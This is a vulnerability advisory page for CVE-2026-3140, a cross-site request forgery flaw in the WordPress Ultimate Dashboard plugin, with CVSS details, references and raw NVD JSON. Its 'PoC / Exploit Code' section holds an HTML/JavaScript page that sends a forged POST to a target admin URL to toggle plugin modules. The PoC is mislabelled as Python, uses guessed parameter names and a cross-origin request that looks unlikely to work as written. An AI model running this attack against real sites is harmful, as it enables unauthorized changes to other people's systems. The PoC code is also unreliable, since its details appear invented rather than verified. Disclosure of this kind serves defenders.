CVE-2026-3140

Description

The Ultimate Dashboard plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.14. This is due to a flawed nonce validation conditional in the 'handle_module_actions' function. This makes it possible for unauthenticated attackers to toggle plugin modules on or off via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Ultimate Dashboard Plugin <= 3.8.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-3140 -->
<!-- This HTML page demonstrates the CSRF attack vector -->
<html>
  <body>
    <h1>Ultimate Dashboard CSRF PoC</h1>
    <p>Clicking the button below will attempt to toggle a module via forged request.</p>
    <script>
      function exploit() {
        // Target URL of the vulnerable WordPress installation
        var targetUrl = "http://target-site.com/wp-admin/admin.php?page=ultimate-dashboard";
        
        // Vulnerable parameters based on the 'handle_module_actions' function
        var params = "action=toggle_module&module_id=example_module_id&status=inactive";
        
        var xhr = new XMLHttpRequest();
        xhr.open("POST", targetUrl, true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        
        xhr.onreadystatechange = function() {
          if (xhr.readyState == 4) {
            console.log("Request sent. Check if module status changed.");
          }
        };
        
        xhr.send(params);
      }
    </script>
    <form action="#">
      <input type="button" value="Click to Exploit" onclick="exploit()" />
    </form>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3140
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3140
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3140/
[4] VulDB https://vuldb.com/cve/CVE-2026-3140
[5] https://plugins.trac.wordpress.org/browser/ultimate-dashboard/trunk/modules/feature/class-feature-module.php#L120
[6] https://plugins.trac.wordpress.org/changeset/3479396/
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/bbcdb70f-77db-48ab-ae23-c46caecdd3be?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3140", "sourceIdentifier": "[email protected]", "published": "2026-05-01T12:16:15.940", "lastModified": "2026-05-01T15:26:24.553", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate Dashboard plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.14. This is due to a flawed nonce validation conditional in the 'handle_module_actions' function. This makes it possible for unauthenticated attackers to toggle plugin modules on or off via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ultimate-dashboard/trunk/modules/feature/class-feature-module.php#L120", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3479396/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bbcdb70f-77db-48ab-ae23-c46caecdd3be?source=cve", "source": "[email protected]"}]}}